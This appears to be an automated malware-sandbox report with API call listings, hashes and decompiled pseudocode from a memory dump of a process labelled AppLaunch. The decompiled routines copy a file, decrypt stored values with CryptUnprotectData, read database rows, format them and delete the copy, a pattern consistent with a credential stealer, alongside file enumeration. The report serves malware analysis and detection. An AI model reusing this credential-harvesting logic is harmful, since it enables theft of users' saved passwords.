lstrlenW.KERNEL32(?,00000000), ref: 0041F1AC
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 0041F1DF
LocalAlloc.KERNEL32(00000040,00000144), ref: 0041F1F0
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,?,00000000,00000000), ref: 0041F215
LocalFree.KERNEL32(00000000), ref: 0041F220
LocalFree.KERNEL32(?), ref: 0041F22B
LocalFree.KERNEL32(?), ref: 0041F235
LocalFree.KERNEL32(?), ref: 0041F23F
LocalFree.KERNEL32(00000000), ref: 0041F246
CloseHandle.KERNEL32(?), ref: 0041F251
DeleteFileW.KERNEL32(?), ref: 0041F25B
LocalAlloc.KERNEL32(00000040,0000020A), ref: 0041F271
StrCpyW.SHLWAPI(00000000,?), ref: 0041F28C
LocalFree.KERNEL32(?), ref: 0041F2BF
LocalFree.KERNEL32(00000000), ref: 0041F2C6
LocalFree.KERNEL32(?), ref: 0041F2D0
LocalFree.KERNEL32(?), ref: 0041F2E0
LocalFree.KERNEL32(00000000), ref: 0041F2E7
DeleteFileW.KERNEL32(?), ref: 0041F2F1
FindNextFileW.KERNEL32(00000000,00000010), ref: 0041F2FD
LocalFree.KERNEL32(?), ref: 0041F30F
FindClose.KERNEL32(00000000), ref: 0041F316

Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D13E
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D142
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D146
Part of subcall function 0041D123: RealDriveType.SHELL32(9D535DAB,00000000), ref: 0041D154
Part of subcall function 0041D123: RealDriveType.SHELL32(DDAFA185,00000000), ref: 0041D15D
Part of subcall function 0041D123: RealDriveType.SHELL32(AFEA51A6,00000000), ref: 0041D166
Part of subcall function 0041D123: RealDriveType.SHELL32(6B6C1BF1,00000000), ref: 0041D16F
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D175
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D17B
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D181
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D187
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D18D
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D193
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D199
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D19F
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D1A5
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D1AB
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D1B1
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D1B7
Part of subcall function 0041D123: RealDriveType.SHELL32(CA879250,00000000), ref: 0041D1C0
Part of subcall function 0041D123: RealDriveType.SHELL32(4B89312A,00000000), ref: 0041D1C9
Part of subcall function 0041D123: RealDriveType.SHELL32(3141F442,00000000), ref: 0041D1D2
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D1D8
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D1DE
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D1E4
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D1EA
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D1F0
Part of subcall function 0041D123: RealDriveType.SHELL32(69086AAA,00000000), ref: 0041D1F9
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D1FF

Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D205
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D20B
Part of subcall function 0041D123: RealDriveType.SHELL32(88BFAA81,00000000), ref: 0041D214
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D21A
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D220
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D226
Part of subcall function 0041D123: RealDriveType.SHELL32(63CD2C81,00000000), ref: 0041D22F
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D238
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D23E
Part of subcall function 0041D123: RealDriveType.SHELL32(7893912D,00000000), ref: 0041D247
Part of subcall function 0041D123: RealDriveType.SHELL32(0F508184,00000000), ref: 0041D250
Part of subcall function 0041D123: RealDriveType.SHELL32(E21E4367,00000000), ref: 0041D259
Part of subcall function 0041D123: RealDriveType.SHELL32(175B4B2F,00000000), ref: 0041D262
Part of subcall function 0041D123: RealDriveType.SHELL32(E5B0201B,00000000), ref: 0041D26B
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D271
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D277
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D27D
Part of subcall function 0041D123: RealDriveType.SHELL32(84E700A2,00000000), ref: 0041D286
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D28C
Part of subcall function 0041D123: RealDriveType.SHELL32(B12C0B99,00000000), ref: 0041D295
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D29B
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D2A1
Part of subcall function 0041D123: RealDriveType.SHELL32(5B31AC66,00000000), ref: 0041D2AA
Part of subcall function 0041D123: RealDriveType.SHELL32(126D9A47,00000000), ref: 0041D2B3
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D2B9
Part of subcall function 0041D123: RealDriveType.SHELL32(E3ED5A01,00000000), ref: 0041D2C2
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D2C8
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D2CE
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D2D4
Part of subcall function 0041D123: RealDriveType.SHELL32(A725971F,00000000), ref: 0041D2DD
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D2E3
Part of subcall function 0041D123: RealDriveType.SHELL32(942A7F70,00000000), ref: 0041D2EC
Part of subcall function 0041D123: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041D2F2

Strings

., xrefs: 0041F037
A, xrefs: 0041F292, 0041F087

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Path$Slow$DriveRealType$Local$Free$Alloc$File$Find$ByteCharCloseCombineDeleteMultiWide$CopyCreateFirstHandleNextSizelstrlen
String ID: .$A
API String ID: 1625673646-931910520
Opcode ID: 96af12385c8de9a4256fc2a6d9b9fa9d1da8197b3dbae4444f626e3dc1194908
Instruction ID: 667e7b0c1a7b4c414b921f1e637732ce20de7f77975b8e08ff7a0e1a11979971
Opcode Fuzzy Hash: 96af12385c8de9a4256fc2a6d9b9fa9d1da8197b3dbae4444f626e3dc1194908
Instruction Fuzzy Hash: AC917C71204301AFD7219F60DC49E6F7BB5FF88706F400929FA45962A0DB39CA46CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 004030C0 Relevance: 66.4, APIs: 44, Instructions: 415
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E004030C0(intOrPtr* __ecx, void* __edx, void* __eflags, WCHAR* _a8, WCHAR* _a12, struct HINSTANCE__* _a16) {
				char _v8;
				void* _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				signed int _v20;
				WCHAR* _v24;
				void* _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				WCHAR* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				void* _v56;
				signed int _v60;
				char _v64;
				intOrPtr* _v68;
				void* _v72;
				void* _v76;
				void* _v80;
				long _v84;
				void* _v88;
				char _v92;
				void* _v96;
				char _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				WCHAR* _v112;
				long _v116;
				WCHAR* _t128;
				void* _t129;
				void* _t139;
				void* _t140;
				int _t156;
				void* _t158;
				void* _t160;
				void* _t161;
				void* _t165;
				void* _t169;
				WCHAR* _t170;
				void* _t171;
				intOrPtr _t172;
				intOrPtr _t173;
				WCHAR* _t174;
				intOrPtr _t175;
				intOrPtr _t176;
				long _t178;
				void* _t179;
				void* _t180;
				WCHAR* _t182;
				WCHAR* _t183;
				WCHAR* _t185;
				WCHAR* _t189;
				void* _t192;
				WCHAR* _t193;
				int _t194;
				WCHAR* _t200;
				int _t201;
				int _t202;
				intOrPtr _t204;
				void* _t212;
				void* _t216;
				struct HINSTANCE__* _t217;
				WCHAR* _t218;
				WCHAR* _t219;
				void* _t222;
				intOrPtr _t226;
				intOrPtr _t227;
				intOrPtr _t241;
				intOrPtr _t248;
				void* _t263;
				void* _t264;
				intOrPtr* _t265;
				void* _t267;
				signed int _t268;
				WCHAR* _t270;
				void* _t273;
				void* _t274;

				_v56 = __edx;
				_v68 = __ecx;
				_t128 = LocalAlloc(0x40, 0x400);
				_t129 = LocalAlloc(0x40, 0x200);
				_v12 = _v12 & 0x00000000;
				_t263 = _t129;
				_v60 = _t263;
				_t216 = StrCpyW(_t128, _a12);
				E00401C00(_t216,  &_v12,  &_v64);
				_pop(_t222);
				E00401D35(_v12,  &_v60, _t222, _v64);
				_v32 = _v32 & 0x00000000;
				_v80 = _t263;
				_v84 = 0x200;
				_t267 = LocalAlloc(0x40, 0x400);
				_v28 = _t267;
				if(_v12 != 0) {
					LocalFree(_v12);
				}
				_t139 =  *0x4230ac( &_v84,  &_v32, 0, 0, 0, 0,  &_v92); // executed
				if(_t139 != 0) {
					_t212 = E00401B8A(_v88,  &_v28, _v92);
					_t267 = _v28;
					if(_t212 != 0) {
						StrCpyW( *_v56, _t267);
					}
				}
				if(_t267 != 0) {
					LocalFree(_t267);
				}
				if(_v80 != 0) {
					LocalFree(_v80);
				}
				if(_v32 != 0) {
					LocalFree(_v32);
				}
				if(_v88 != 0) {
					LocalFree(_v88);
				}
				if(_t216 != 0) {
					LocalFree(_t216);
				}
				_t140 = LocalAlloc(0x40, 0x208);
				_t226 =  *0x423218; // 0x513b2b8
				_t268 = 0;
				_t217 = _a16;
				_t264 = _t140;
				_v108 = _t226;
				_t227 =  *0x4231f0; // 0x513cb60
				_v104 = _t227;
				_v60 = 0;
				do {
					_t264 = PathCombineW(_t264, _a8,  *(_t273 + _t268 * 4 - 0x68));
					_v76 = _t264;
					_t285 = _t217;
					if(_t217 == 0) {
						goto L25;
					}
					 *0x4235d8 = GetProcAddress(_t217,  *0x4231bc);
					 *0x4235cc = GetProcAddress(_t217,  *0x423210);
					 *0x4235c8 = GetProcAddress(_t217,  *0x423228);
					 *0x4235d0 = GetProcAddress(_t217,  *0x42325c);
					 *0x4235c0 = GetProcAddress(_t217,  *0x4231e0);
					 *0x4235bc = GetProcAddress(_t217,  *0x4231b8);
					 *0x4235c4 = GetProcAddress(_t217,  *0x423248);
					 *0x4235d4 = GetProcAddress(_t217,  *0x4231a8);
					_v12 = LocalAlloc(0x40, 0x208);
					if(E0041C37E(_t264,  &_v12, _t285) == 0) {
						L23:
						DeleteFileW(_v12); // executed
						L24:
						LocalFree(_v12);
						goto L25;
					}
					_t156 = CopyFileW(_t264, _v12, 0); // executed
					if(_t156 == 0) {
						goto L23;
					}
					_t158 =  *0x4235cc(_v12,  &_v28); // executed
					if(_t158 == 0 && _v28 != _t158) {
						_t160 =  *0x4235d8(_v28,  *0x42323c, 0xffffffff,  &_v8, _t158); // executed
						_t274 = _t274 + 0x14;
						_push(_v8);
						if(_t160 == 0) {
							_t161 =  *0x4235d0();
							__eflags = _t161 - 0x64;
							if(_t161 != 0x64) {
								L55:
								 *0x4235c0(_v8);
								 *0x4235c8(_v28); // executed
								DeleteFileW(_v12); // executed
								__eflags = _v12;
								if(__eflags == 0) {
									goto L25;
								}
								goto L24;
							}
							_t265 = _v68;
							do {
								_t165 =  *0x4235c4(_v8, 0);
								 *0x4235c4(_v8, 1);
								 *0x4235c4(_v8, 2);
								 *0x4235c4(_v8, 3);
								_t169 =  *0x4235c4(_v8, 4);
								_v56 = _t169;
								_t170 =  *0x4235c4(_v8, 5);
								_t274 = _t274 + 0x30;
								_t218 = _t170;
								_v72 = _t218;
								__eflags = _t165 - 1;
								if(_t165 < 1) {
									goto L53;
								}
								__eflags = _v56 - 1;
								if(_v56 >= 1) {
									L34:
									_t172 =  *0x4235bc(_v8, 0);
									_v52 = _t172;
									_t173 =  *0x4235bc(_v8, 1);
									_v48 = _t173;
									_t174 =  *0x4235bc(_v8, 2);
									_v44 = _t174;
									_t175 =  *0x4235bc(_v8, 3);
									_v40 = _t175;
									_t176 =  *0x4235bc(_v8, 4);
									_t274 = _t274 + 0x28;
									_v36 = _t176;
									__eflags = _t218;
									if(_t218 <= 0) {
										goto L53;
									}
									_t270 =  *0x4235d4(_v8, 5);
									_t76 =  &(_t218[0x20]); // 0x40
									_t178 = _t76;
									_v20 = _t178;
									_t179 = LocalAlloc(0x40, _t178);
									_t180 =  *0x423050(_t179, _t270);
									_v56 = _t180;
									_v16 =  *_t180;
									_v15 =  *((intOrPtr*)(_t180 + 1));
									_v14 =  *((intOrPtr*)(_t180 + 2));
									_v13 = 0;
									__eflags = _t270;
									if(_t270 == 0) {
										L52:
										LocalFree(_t180);
										goto L53;
									}
									_t182 = LocalAlloc(0x40, 0x4000);
									_t219 = _t182;
									_t183 =  *0x423240; // 0x512d4e0
									_v24 = _t183;
									_t185 =  *0x423080( &_v16,  *0x42324c);
									__eflags = _t185;
									if(_t185 != 0) {
										_v112 = _t270;
										_v116 = 0x200;
										_t189 =  *0x4230ac( &_v116, 0, 0, 0, 0, 0,  &_v100);
										__eflags = _t189;
										if(_t189 == 0) {
											L49:
											__eflags = _t219;
											if(_t219 != 0) {
												LocalFree(_t219);
											}
											_t180 = _v56;
											goto L52;
										}
										 *((char*)(_v100 + _v96)) = 0;
										_t192 = E0041A6A3(_v96);
										_push(_t192);
										_push(_v36);
										_v72 = _t192;
										_push(_v40);
										_t193 = lstrcmpW(_v44,  *0x4231d8);
										_t241 =  *0x4231f8; // 0x513cb38
										__eflags = _t193;
										_t242 =  ==  ?  *0x423234 : _t241;
										_t194 = wsprintfW(_t219, _v24, _v52, _v48,  ==  ?  *0x423234 : _t241);
										_t274 = _t274 + 0x20;
										__eflags = _t194 - lstrlenW(_v24);
										if(__eflags >= 0) {
											 *_t265 = E0041AD76( *_t265, _t219, __eflags);
										}
										__eflags = _v96;
										if(_v96 != 0) {
											LocalFree(_v96);
										}
										LocalFree(_v72);
										L48:
										goto L49;
									}
									_v20 = LocalAlloc(0x40, _v20 << 2);
									_t200 = E00401B8A(_t270,  &_v20, _v72);
									__eflags = _t200;
									if(_t200 != 0) {
										_push(_v20);
										_push(_v36);
										_push(_v40);
										_t201 = lstrcmpW(_v44,  *0x4231d8);
										_t248 =  *0x4231f8; // 0x513cb38
										__eflags = _t201;
										_t249 =  ==  ?  *0x423234 : _t248;
										_t202 = wsprintfW(_t219, _v24, _v52, _v48,  ==  ?  *0x423234 : _t248);
										_t274 = _t274 + 0x20;
										__eflags = _t202 - lstrlenW(_v24);
										if(__eflags >= 0) {
											_t204 = E0041AD76( *_t265, _t219, __eflags); // executed
											 *_t265 = _t204;
										}
									}
									__eflags = _v20;
									if(_v20 == 0) {
										goto L49;
									} else {
										LocalFree(_v20);
										goto L48;
									}
								}
								__eflags = _t218 - 1;
								if(_t218 < 1) {
									goto L53;
								}
								goto L34;
								L53:
								_t171 =  *0x4235d0(_v8);
								__eflags = _t171 - 0x64;
							} while (_t171 == 0x64);
							_t264 = _v76;
							_t217 = _a16;
							_t268 = _v60;
							goto L55;
						}
						 *0x4235c0();
						 *0x4235c8(_v28);
					}
					goto L23;
					L25:
					_t268 = _t268 + 1;
					_v60 = _t268;
				} while (_t268 < 2);
				if(_t264 != 0) {
					LocalFree(_t264);
				}
				return 0;
			}

0x004030d0
0x004030d3
0x004030d6
0x004030e5
0x004030ee
0x004030f2
0x004030f5
0x004030fe
0x00403109
0x0040310e
0x00403119
0x0040311e
0x0040312b
0x0040312e
0x0040313f
0x00403141
0x00403144
0x00403149
0x00403149
0x00403161
0x00403169
0x00403174
0x00403179
0x0040317f
0x00403187
0x00403187
0x0040317f
0x0040318f
0x00403192
0x00403192
0x0040319c
0x004031a1
0x004031a1
0x004031ab
0x004031b0
0x004031b0
0x004031ba
0x004031bf
0x004031bf
0x004031c7
0x004031ca
0x004031ca
0x004031d7
0x004031dd
0x004031e3
0x004031e5
0x004031e8
0x004031ea
0x004031ed
0x004031f3
0x004031f6
0x004031f9
0x00403207
0x00403209
0x0040320c
0x0040320e
0x00000000
0x00000000
0x00403227
0x00403239
0x0040324b
0x0040325d
0x0040326f
0x00403281
0x00403293
0x004032a6
0x004032b4
0x004032c0
0x0040331b
0x0040331e
0x00403324
0x00403327
0x00000000
0x00403327
0x004032c8
0x004032d0
0x00000000
0x00000000
0x004032d9
0x004032e3
0x004032fa
0x00403300
0x00403303
0x00403308
0x0040334c
0x00403353
0x00403356
0x004035e8
0x004035eb
0x004035f4
0x004035ff
0x00403605
0x00403609
0x00000000
0x00000000
0x00000000
0x0040360f
0x0040335c
0x0040335f
0x00403364
0x00403371
0x0040337c
0x00403387
0x00403392
0x0040339d
0x004033a0
0x004033a6
0x004033a9
0x004033ab
0x004033ae
0x004033b1
0x00000000
0x00000000
0x004033b7
0x004033bb
0x004033c6
0x004033cb
0x004033d6
0x004033d9
0x004033e4
0x004033e7
0x004033f2
0x004033f5
0x00403400
0x00403403
0x00403409
0x0040340c
0x0040340f
0x00403411
0x00000000
0x00000000
0x00403424
0x00403426
0x00403426
0x0040342c
0x0040342f
0x00403437
0x0040343d
0x00403442
0x00403448
0x0040344e
0x00403451
0x00403455
0x00403457
0x004035c5
0x004035c6
0x00000000
0x004035c6
0x00403464
0x00403470
0x00403472
0x00403477
0x0040347e
0x00403484
0x00403486
0x0040351a
0x00403520
0x00403530
0x00403536
0x00403538
0x004035b7
0x004035b7
0x004035b9
0x004035bc
0x004035bc
0x004035c2
0x00000000
0x004035c2
0x00403540
0x00403544
0x00403549
0x0040354a
0x0040354d
0x00403550
0x0040355c
0x00403562
0x00403568
0x0040356a
0x0040357c
0x00403582
0x00403590
0x00403592
0x0040359d
0x0040359d
0x0040359f
0x004035a3
0x004035a8
0x004035a8
0x004035b1
0x004035b1
0x00000000
0x004035b1
0x004034a1
0x004034a6
0x004034ac
0x004034ae
0x004034b0
0x004034b3
0x004034b6
0x004034c2
0x004034c8
0x004034ce
0x004034d0
0x004034e2
0x004034e8
0x004034f6
0x004034f8
0x004034fe
0x00403503
0x00403503
0x004034f8
0x00403505
0x00403509
0x00000000
0x0040350f
0x004035b1
0x00000000
0x004035b1
0x00403509
0x004033bd
0x004033c0
0x00000000
0x00000000
0x00000000
0x004035cc
0x004035cf
0x004035d6
0x004035d6
0x004035df
0x004035e2
0x004035e5
0x00000000
0x004035e5
0x0040330a
0x00403313
0x0040331a
0x00000000
0x0040332d
0x0040332d
0x0040332e
0x00403331
0x0040333c
0x0040333f
0x0040333f
0x0040334b

APIs

LocalAlloc.KERNEL32(00000040,00000400,00000000,?,?), ref: 004030D6
LocalAlloc.KERNEL32(00000040,00000200), ref: 004030E5
StrCpyW.SHLWAPI(00000000,?), ref: 004030F8

Part of subcall function 00401C00: CryptStringToBinaryW.CRYPT32(00000000,00000000,00000001,00000000,K,@,00000000,00000000), ref: 00401C1F
Part of subcall function 00401C00: LocalAlloc.KERNEL32(00000040,K,@,?,00402C4B,?), ref: 00401C2D
Part of subcall function 00401C00: CryptStringToBinaryW.CRYPT32(?,00000000,00000001,00000000,K,@,00000000,00000000), ref: 00401C43
Part of subcall function 00401C00: LocalFree.KERNEL32(00000000,?,00402C4B,?), ref: 00401C51

LocalAlloc.KERNEL32(00000040,00000400), ref: 00403135
LocalFree.KERNEL32(00000000), ref: 00403149

Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C391
Part of subcall function 0041C37E: RealDriveType.SHELL32(49068A3F,00000000), ref: 0041C39F
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3A5
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3AB
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3B1
Part of subcall function 0041C37E: RealDriveType.SHELL32(90F51192,00000000), ref: 0041C3BA
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3C0
Part of subcall function 0041C37E: RealDriveType.SHELL32(8030BDD6,00000000), ref: 0041C3C9
Part of subcall function 0041C37E: RealDriveType.SHELL32(3529F220,00000000), ref: 0041C3D2
Part of subcall function 0041C37E: RealDriveType.SHELL32(44900BA8,00000000), ref: 0041C3DB
Part of subcall function 0041C37E: RealDriveType.SHELL32(80627B6F,00000000), ref: 0041C3E4
Part of subcall function 0041C37E: RealDriveType.SHELL32(4B2F893E,00000000), ref: 0041C3ED
Part of subcall function 0041C37E: RealDriveType.SHELL32(9237E9C0,00000000), ref: 0041C3F6
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C3FC
Part of subcall function 0041C37E: RealDriveType.SHELL32(001C2176,00000000), ref: 0041C405
Part of subcall function 0041C37E: RealDriveType.SHELL32(DCD15041,00000000), ref: 0041C40E
Part of subcall function 0041C37E: RealDriveType.SHELL32(06ACA385,00000000), ref: 0041C417
Part of subcall function 0041C37E: RealDriveType.SHELL32(54EEC891,00000000), ref: 0041C420
Part of subcall function 0041C37E: RealDriveType.SHELL32(6F107F95,00000000), ref: 0041C429
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C42F
Part of subcall function 0041C37E: RealDriveType.SHELL32(1A1C9336,00000000), ref: 0041C438
Part of subcall function 0041C37E: RealDriveType.SHELL32(DF38BEB2,00000000), ref: 0041C441
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C447
Part of subcall function 0041C37E: RealDriveType.SHELL32(1D427676,00000000), ref: 0041C450
Part of subcall function 0041C37E: RealDriveType.SHELL32(2EC4F5A1,00000000), ref: 0041C459
Part of subcall function 0041C37E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041C45F
Part of subcall function 0041C37E: RealDriveType.SHELL32(3921A8C1,00000000), ref: 0041C468
Part of subcall function 0041C37E: RealDriveType.SHELL32(E7FE911E,00000000), ref: 0041C471
Part of subcall function 0041C37E: RealDriveType.SHELL32(3D01E728,00000000), ref: 0041C47A
Part of subcall function 0041C37E: RealDriveType.SHELL32(AEAA71A1,00000000), ref: 0041C483

CryptUnprotectData.CRYPT32(00000200,00000000,00000000,00000000,00000000,00000000,?), ref: 00403161
StrCpyW.SHLWAPI(?,?), ref: 00403187
LocalFree.KERNEL32(00000000), ref: 00403192
LocalFree.KERNEL32(00000000), ref: 004031A1
LocalFree.KERNEL32(00000000), ref: 004031B0
LocalFree.KERNEL32(00000000), ref: 004031BF
LocalFree.KERNEL32(00000000), ref: 004031CA
LocalAlloc.KERNEL32(00000040,00000208), ref: 004031D7
PathCombineW.SHLWAPI(00000000,?,?), ref: 00403201
GetProcAddress.KERNEL32(004027FD), ref: 0040321B
GetProcAddress.KERNEL32(004027FD), ref: 0040322D
GetProcAddress.KERNEL32(004027FD), ref: 0040323F
GetProcAddress.KERNEL32(004027FD), ref: 00403251
GetProcAddress.KERNEL32(004027FD), ref: 00403263
GetProcAddress.KERNEL32(004027FD), ref: 00403275
GetProcAddress.KERNEL32(004027FD), ref: 00403287
GetProcAddress.KERNEL32(004027FD), ref: 00403299
LocalAlloc.KERNEL32(00000040,00000208), ref: 004032AB
CopyFileW.KERNELBASE(00000000,00000000,00000000), ref: 004032C8
DeleteFileW.KERNELBASE(00000000), ref: 0040331E
LocalFree.KERNEL32(00000000), ref: 00403327
LocalFree.KERNEL32(00000000), ref: 0040333F
LocalAlloc.KERNEL32(00000040,00000040), ref: 0040342F
lstrcpy.KERNEL32(00000000,00000000), ref: 00403437
LocalAlloc.KERNEL32(00000040,00004000), ref: 00403464
lstrcmp.KERNEL32(?), ref: 0040347E
LocalAlloc.KERNEL32(00000040,?), ref: 00403495
lstrcmpW.KERNEL32(?,?,?,?), ref: 004034C2
wsprintfW.USER32 ref: 004034E2
lstrlenW.KERNEL32(004027FD), ref: 004034F0
CryptUnprotectData.CRYPT32(00000200,00000000,00000000,00000000,00000000,00000000,?), ref: 00403530
lstrcmpW.KERNEL32(?,?,?,00000000), ref: 0040355C
wsprintfW.USER32 ref: 0040357C
lstrlenW.KERNEL32(004027FD), ref: 0040358A
LocalFree.KERNEL32(00000000), ref: 004035A8
LocalFree.KERNEL32(?), ref: 004035B1
LocalFree.KERNEL32(00000000), ref: 004035BC
LocalFree.KERNEL32(00000000), ref: 004035C6
DeleteFileW.KERNELBASE(00000000), ref: 004035FF

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: Local$DriveRealType$Free$Path$AllocSlow$AddressProc$Crypt$Filelstrcmp$BinaryDataDeleteStringUnprotectlstrlenwsprintf$CombineCopylstrcpy
String ID:
API String ID: 3246478748-0
Opcode ID: a9006dd898f47571b25cfc2c702d68d863861612ff88ab89cc2d6d67536bfb6e
Instruction ID: 9e48c53c0452b33daace3e758ccc8445b85734e0b0f0dcfe10eda7462c53d521
Opcode Fuzzy Hash: a9006dd898f47571b25cfc2c702d68d863861612ff88ab89cc2d6d67536bfb6e
Instruction Fuzzy Hash: 55F13F71A00208FFDB219FA0DC49AADBFB5FF08706F504479E605A62A0D7395B52DF58

Uniqueness

Uniqueness Score: -1.00%

Function 0041EC8D Relevance: 63.3, APIs: 42, Instructions: 265
memoryfilestringCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E0041EC8D(signed int __eax, intOrPtr __ecx, intOrPtr* __edx, intOrPtr _a4, int _a8, WCHAR* _a12, intOrPtr _a16, intOrPtr _a20) {
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				int _v36;
				WCHAR* _v40;
				void* _v44;
				signed int _v48;
				WCHAR* _v52;
				void* _v56;
				char* _v60;
				struct _WIN32_FIND_DATAW _v656;
				WCHAR* _t61;
				WCHAR* _t63;
				void* _t66;
				int _t68;
				int _t70;
				int _t72;
				int _t74;
				WCHAR* _t75;
				void* _t87;
				WCHAR* _t94;
				short* _t96;
				int _t99;
				int _t103;
				int _t106;
				WCHAR* _t110;
				WCHAR* _t111;
				void* _t121;
				WCHAR* _t138;
				WCHAR* _t141;
				WCHAR* _t144;
				void* _t145;
				char* _t146;
				WCHAR* _t150;
				void* _t151;
				WCHAR* _t152;
				void* _t153;
				void* _t155;

				_v28 = __edx;
				_v32 = __ecx;
				if(_a20 <= 2) {
					_t121 = LocalAlloc(0x40, 0x20a);
					_t61 = LocalAlloc(0x40, 0x218);
					_t144 = _t61;
					 *0x4230c0(0, _t121, 0x1a, 0);
					_t150 = _a12;
					__eflags = _t150;
					if(__eflags != 0) {
						__eflags = lstrcmpW(_t150, _t121);
						if(__eflags != 0) {
							_t121 = StrCpyW(_t121, _t150);
						}
					}
					_t63 = StrCpyW(_t144, _t121);
					_t138 =  *0x4231cc; // 0x513baf8
					_t151 = E0041AD76(_t63, _t138, __eflags);
					_v44 = _t151;
					_t66 = FindFirstFileW(_t151,  &_v656); // executed
					_t145 = _t66;
					_v20 = _t145;
					__eflags = _t145 - 0xffffffff;
					if(_t145 != 0xffffffff) {
						do {
							__eflags = _v656.dwFileAttributes & 0x00000010;
							if((_v656.dwFileAttributes & 0x00000010) == 0) {
								L11:
								_t68 = lstrcmpW( &(_v656.cFileName),  *0x4233f0);
